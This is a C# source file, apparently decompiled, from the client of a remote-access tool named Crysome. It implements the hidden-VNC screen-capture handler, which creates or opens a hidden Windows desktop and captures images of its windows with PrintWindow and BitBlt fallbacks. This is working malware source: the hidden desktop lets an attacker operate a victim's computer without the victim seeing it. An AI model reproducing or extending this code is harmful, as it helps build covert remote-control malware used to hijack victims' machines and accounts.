292 lines
7.5 KiB
C#
292 lines
7.5 KiB
C#
using System;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace Crysome.Client.Hvnc;
|
|
|
|
internal sealed class HvncImagingHandler : IDisposable
|
|
{
|
|
private struct RECT
|
|
{
|
|
public int Left;
|
|
|
|
public int Top;
|
|
|
|
public int Right;
|
|
|
|
public int Bottom;
|
|
}
|
|
|
|
private const uint DESKTOP_GENERIC_ALL = 511u;
|
|
|
|
private const uint GW_HWNDLAST = 1u;
|
|
|
|
private const uint GW_HWNDPREV = 3u;
|
|
|
|
private const int VERTRES = 10;
|
|
|
|
private const int DESKTOPVERTRES = 117;
|
|
|
|
private const uint SRCCOPY = 13369376u;
|
|
|
|
public IntPtr Desktop { get; }
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern IntPtr GetDC(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern bool SetThreadDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern IntPtr GetDesktopWindow();
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern bool IsWindowVisible(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern IntPtr GetTopWindow(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern IntPtr GetWindowDC(IntPtr hWnd);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern bool DeleteObject(IntPtr hObject);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern bool DeleteDC(IntPtr hdc);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
private static extern bool CloseDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
|
|
|
public HvncImagingHandler(string desktopName)
|
|
{
|
|
IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u);
|
|
if (intPtr == IntPtr.Zero)
|
|
{
|
|
intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
|
|
}
|
|
Desktop = intPtr;
|
|
}
|
|
|
|
private static float GetScalingFactor()
|
|
{
|
|
using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero);
|
|
IntPtr hdc = graphics.GetHdc();
|
|
int deviceCaps = GetDeviceCaps(hdc, 10);
|
|
int deviceCaps2 = GetDeviceCaps(hdc, 117);
|
|
graphics.ReleaseHdc(hdc);
|
|
return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f;
|
|
}
|
|
|
|
private static bool IsMostlyBlack(Bitmap bmp)
|
|
{
|
|
if (bmp == null || bmp.Width == 0 || bmp.Height == 0)
|
|
{
|
|
return true;
|
|
}
|
|
int num = Math.Max(1, bmp.Width / 20);
|
|
int num2 = Math.Max(1, bmp.Height / 20);
|
|
int num3 = 0;
|
|
int num4 = 0;
|
|
BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
|
|
try
|
|
{
|
|
int stride = bitmapData.Stride;
|
|
IntPtr scan = bitmapData.Scan0;
|
|
for (int i = 0; i < bmp.Height; i += num2)
|
|
{
|
|
for (int j = 0; j < bmp.Width; j += num)
|
|
{
|
|
int num5 = i * stride + j * 4;
|
|
byte b = Marshal.ReadByte(scan, num5);
|
|
byte b2 = Marshal.ReadByte(scan, num5 + 1);
|
|
byte num6 = Marshal.ReadByte(scan, num5 + 2);
|
|
num3++;
|
|
if (num6 < 20 && b2 < 20 && b < 20)
|
|
{
|
|
num4++;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
bmp.UnlockBits(bitmapData);
|
|
}
|
|
if (num3 > 0)
|
|
{
|
|
return num4 * 100 / num3 > 80;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale)
|
|
{
|
|
int num = (int)((float)(r.Right - r.Left) * scale);
|
|
int num2 = (int)((float)(r.Bottom - r.Top) * scale);
|
|
if (num <= 0 || num2 <= 0)
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr windowDC = GetWindowDC(hWnd);
|
|
if (windowDC == IntPtr.Zero)
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr intPtr = CreateCompatibleDC(dc);
|
|
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
|
|
IntPtr hgdiobj = SelectObject(intPtr, intPtr2);
|
|
bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u);
|
|
SelectObject(intPtr, hgdiobj);
|
|
if (flag)
|
|
{
|
|
try
|
|
{
|
|
using Bitmap image = Image.FromHbitmap(intPtr2);
|
|
g.DrawImage(image, r.Left, r.Top);
|
|
}
|
|
catch
|
|
{
|
|
flag = false;
|
|
}
|
|
}
|
|
DeleteObject(intPtr2);
|
|
DeleteDC(intPtr);
|
|
ReleaseDC(hWnd, windowDC);
|
|
return flag;
|
|
}
|
|
|
|
private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc)
|
|
{
|
|
if (!GetWindowRect(hWnd, out var lpRect))
|
|
{
|
|
return false;
|
|
}
|
|
float scalingFactor = GetScalingFactor();
|
|
int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor);
|
|
int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor);
|
|
if (num <= 0 || num2 <= 0)
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr intPtr = CreateCompatibleDC(dc);
|
|
IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2);
|
|
SelectObject(intPtr, intPtr2);
|
|
if (PrintWindow(hWnd, intPtr, 2u))
|
|
{
|
|
try
|
|
{
|
|
using Bitmap original = Image.FromHbitmap(intPtr2);
|
|
using Bitmap bitmap = new Bitmap(original);
|
|
if (!IsMostlyBlack(bitmap))
|
|
{
|
|
g.DrawImage(bitmap, lpRect.Left, lpRect.Top);
|
|
DeleteObject(intPtr2);
|
|
DeleteDC(intPtr);
|
|
return true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
DeleteObject(intPtr2);
|
|
DeleteDC(intPtr);
|
|
return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor);
|
|
}
|
|
|
|
private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc)
|
|
{
|
|
IntPtr topWindow = GetTopWindow(owner);
|
|
if (topWindow == IntPtr.Zero)
|
|
{
|
|
return;
|
|
}
|
|
topWindow = GetWindow(topWindow, 1u);
|
|
while (topWindow != IntPtr.Zero)
|
|
{
|
|
if (IsWindowVisible(topWindow))
|
|
{
|
|
DrawWindow(topWindow, g, dc);
|
|
}
|
|
topWindow = GetWindow(topWindow, 3u);
|
|
}
|
|
}
|
|
|
|
public Bitmap Screenshot()
|
|
{
|
|
if (Desktop == IntPtr.Zero)
|
|
{
|
|
return null;
|
|
}
|
|
SetThreadDesktop(Desktop);
|
|
IntPtr dC = GetDC(IntPtr.Zero);
|
|
if (dC == IntPtr.Zero)
|
|
{
|
|
return null;
|
|
}
|
|
if (!GetWindowRect(GetDesktopWindow(), out var lpRect))
|
|
{
|
|
ReleaseDC(IntPtr.Zero, dC);
|
|
return null;
|
|
}
|
|
float scalingFactor = GetScalingFactor();
|
|
int num = (int)((float)lpRect.Right * scalingFactor);
|
|
int num2 = (int)((float)lpRect.Bottom * scalingFactor);
|
|
if (num <= 0 || num2 <= 0)
|
|
{
|
|
ReleaseDC(IntPtr.Zero, dC);
|
|
return null;
|
|
}
|
|
Bitmap bitmap = new Bitmap(num, num2);
|
|
using (Graphics g = Graphics.FromImage(bitmap))
|
|
{
|
|
DrawTopDown(IntPtr.Zero, g, dC);
|
|
}
|
|
ReleaseDC(IntPtr.Zero, dC);
|
|
return bitmap;
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
if (Desktop != IntPtr.Zero)
|
|
{
|
|
CloseDesktop(Desktop);
|
|
}
|
|
}
|
|
}
|